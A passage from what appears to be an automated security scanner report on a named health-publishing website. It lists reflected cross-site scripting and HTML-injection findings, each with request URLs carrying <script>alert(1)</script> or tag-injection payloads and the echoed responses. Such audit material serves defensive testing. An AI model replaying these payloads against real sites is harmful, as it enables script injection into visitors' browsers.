Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:54 GMT
Date: Thu, 10 Mar 2011 17:17:54 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-pregnancy-0acc93"><a>e45725410ac node node-958">
...[SNIP]...

2.796. http://www.rodale.com/topic/pregnancy-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/pregnancy-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27103"><script>alert(1)</script>1e2be67b5ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/pregnancy-0?27103"><script>alert(1)</script>1e2be67b5ed=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:13 GMT
Date: Thu, 10 Mar 2011 17:17:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34709

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/pregnancy-0?27103"><script>alert(1)</script>1e2be67b5ed=1" title="Register" class="moreLink">
...[SNIP]...

2.797. http://www.rodale.com/topic/prescription-drugs [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/prescription-drugs

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1a48"><a>6d08c1e5d22 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf1a48"><a>6d08c1e5d22/prescription-drugs HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:24 GMT
Date: Thu, 10 Mar 2011 17:17:24 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf1a48"><a>6d08c1e5d22 topicf1a48">
...[SNIP]...

2.798. http://www.rodale.com/topic/prescription-drugs [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/prescription-drugs

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45cbb"><a>69291478a9e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/prescription-drugs45cbb"><a>69291478a9e HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:06 GMT
Date: Thu, 10 Mar 2011 17:18:06 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-prescription-drugs45cbb"><a>69291478a9e node node-958">
...[SNIP]...

2.799. http://www.rodale.com/topic/prescription-drugs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/prescription-drugs

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e05f2"><script>alert(1)</script>67041817595 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/prescription-drugs?e05f2"><script>alert(1)</script>67041817595=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:23 GMT
Date: Thu, 10 Mar 2011 17:17:23 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33355

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/prescription-drugs?e05f2"><script>alert(1)</script>67041817595=1" title="Register" class="moreLink">
...[SNIP]...

2.800. http://www.rodale.com/topic/prostate-cancer [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/prostate-cancer

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9938"><a>02502873c9a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf9938"><a>02502873c9a/prostate-cancer HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:16 GMT
Date: Thu, 10 Mar 2011 17:17:16 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf9938"><a>02502873c9a topicf9938">
...[SNIP]...

2.801. http://www.rodale.com/topic/prostate-cancer [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/prostate-cancer

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a21af"><a>a7ae9dc7e2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/prostate-cancera21af"><a>a7ae9dc7e2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:11 GMT
Date: Thu, 10 Mar 2011 17:18:11 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-prostate-cancera21af"><a>a7ae9dc7e2 node node-958">
...[SNIP]...

2.802. http://www.rodale.com/topic/prostate-cancer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/prostate-cancer

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbc5a"><script>alert(1)</script>96f2651b6ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/prostate-cancer?fbc5a"><script>alert(1)</script>96f2651b6ec=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:14 GMT
Date: Thu, 10 Mar 2011 17:17:14 GMT
Content-Length: 31812
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/prostate-cancer?fbc5a"><script>alert(1)</script>96f2651b6ec=1" title="Register" class="moreLink">
...[SNIP]...

2.803. http://www.rodale.com/topic/radiation [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/radiation

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25709"><a>7627b91ce3a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic25709"><a>7627b91ce3a/radiation HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:17 GMT
Date: Thu, 10 Mar 2011 17:17:18 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic25709"><a>7627b91ce3a topic25709">
...[SNIP]...

2.804. http://www.rodale.com/topic/radiation [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/radiation

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a3ae"><a>655e449401a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/radiation3a3ae"><a>655e449401a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:54 GMT
Date: Thu, 10 Mar 2011 17:17:54 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-radiation3a3ae"><a>655e449401a node node-958">
...[SNIP]...

2.805. http://www.rodale.com/topic/radiation [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/radiation

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e29f"><script>alert(1)</script>fd4929829a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/radiation?3e29f"><script>alert(1)</script>fd4929829a0=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:16 GMT
Date: Thu, 10 Mar 2011 17:17:16 GMT
Content-Length: 31094
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/radiation?3e29f"><script>alert(1)</script>fd4929829a0=1" title="Register" class="moreLink">
...[SNIP]...

2.806. http://www.rodale.com/topic/recieps [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/recieps

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d2d2"><a>e622d1c451b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic7d2d2"><a>e622d1c451b/recieps HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:05 GMT
Date: Thu, 10 Mar 2011 17:18:06 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic7d2d2"><a>e622d1c451b topic7d2d2">
...[SNIP]...

2.807. http://www.rodale.com/topic/recieps [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/recieps

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efb10"><a>f92acd5657c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/reciepsefb10"><a>f92acd5657c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:30 GMT
Date: Thu, 10 Mar 2011 17:18:30 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-reciepsefb10"><a>f92acd5657c node node-958">
...[SNIP]...

2.808. http://www.rodale.com/topic/recieps [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/recieps

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad76f"><script>alert(1)</script>a1e2052916b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/recieps?ad76f"><script>alert(1)</script>a1e2052916b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:57 GMT
Date: Thu, 10 Mar 2011 17:17:58 GMT
Content-Length: 29365
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/recieps?ad76f"><script>alert(1)</script>a1e2052916b=1" title="Register" class="moreLink">
...[SNIP]...

2.809. http://www.rodale.com/topic/recipes [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/recipes

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb175"><a>c6fad8c3ec3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiceb175"><a>c6fad8c3ec3/recipes HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:52 GMT
Date: Thu, 10 Mar 2011 17:17:52 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiceb175"><a>c6fad8c3ec3 topiceb175">
...[SNIP]...

2.810. http://www.rodale.com/topic/recipes [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/recipes

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85bba"><a>6b587952256 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/recipes85bba"><a>6b587952256 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:53 GMT
Date: Thu, 10 Mar 2011 17:18:53 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-recipes85bba"><a>6b587952256 node node-958">
...[SNIP]...

2.811. http://www.rodale.com/topic/recipes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/recipes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac2d3"><script>alert(1)</script>3eeedb00054 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/recipes?ac2d3"><script>alert(1)</script>3eeedb00054=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:47 GMT
Date: Thu, 10 Mar 2011 17:17:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32786

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/recipes?ac2d3"><script>alert(1)</script>3eeedb00054=1" title="Register" class="moreLink">
...[SNIP]...

2.812. http://www.rodale.com/topic/recycling-and-precycling-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/recycling-and-precycling-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af577"><a>0a022a7753b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicaf577"><a>0a022a7753b/recycling-and-precycling-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:58 GMT
Date: Thu, 10 Mar 2011 17:17:58 GMT
Content-Length: 22549
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicaf577"><a>0a022a7753b topicaf577">
...[SNIP]...

2.813. http://www.rodale.com/topic/recycling-and-precycling-0 [REST URL parameter 2] previous next

Summary

